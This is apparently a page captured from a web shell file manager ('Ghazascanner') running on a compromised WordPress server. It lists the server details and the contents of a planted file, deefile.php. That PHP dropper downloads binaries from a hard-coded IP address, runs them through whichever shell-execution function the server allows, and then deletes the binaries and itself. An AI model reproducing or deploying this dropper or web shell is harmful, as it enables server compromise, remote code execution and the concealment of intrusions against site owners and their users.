@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux phpmyadmin-ubuntu-m-2vcpu-16gb-blr1-01 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Current Path :
/
var
/
www
/
html
/
wp-content
/
Path :
Upload File :
New :
File
Dir
/var/www/html/wp-content/deefile.php
<?php function get($durl, $filename) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $durl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch,CURLOPT_TIMEOUT,20); $data = curl_exec($ch); if(!$data){ $data = @file_get_contents($durl); } file_put_contents('./'.$filename, $data); } function comd($command){ $result = ''; if(function_exists('system')){ ob_start(); @system($command); $result = ob_get_clean(); }elseif(function_exists('exec')){ @exec($command,$result); $result = @join("\n",$result); }elseif (function_exists('passthru')){ ob_start(); @passthru($command); $result = ob_get_clean(); }elseif(function_exists('shell_exec')){ $result = shell_exec($command); }elseif(is_resource($f = @popen($command,"r"))){ $result = ""; while(!@feof($f)) $result .= fread($f,1024); pclose($f); } $type = mb_detect_encoding($result, array("ASCII",'UTF-8',"GB2312","GBK",'BIG5','LATIN1')); if($type != 'UTF-8'){ $result = mb_convert_encoding($result, 'UTF-8', $type); } return $result; } get("http://51.158.147.155/shortcodes","shortcodes"); $result = comd("chmod +x shortcodes && ./shortcodes"); if(strstr($result,"7.14")){ echo $result; }else{ get("http://51.158.147.155/shortcodes64","shortcodes64"); $result2 = comd("chmod +x shortcodes64 && ./shortcodes64"); echo $result2; } unlink("./shortcodes64"); unlink("./shortcodes"); unlink("./defile.php"); unlink("./deefile.php");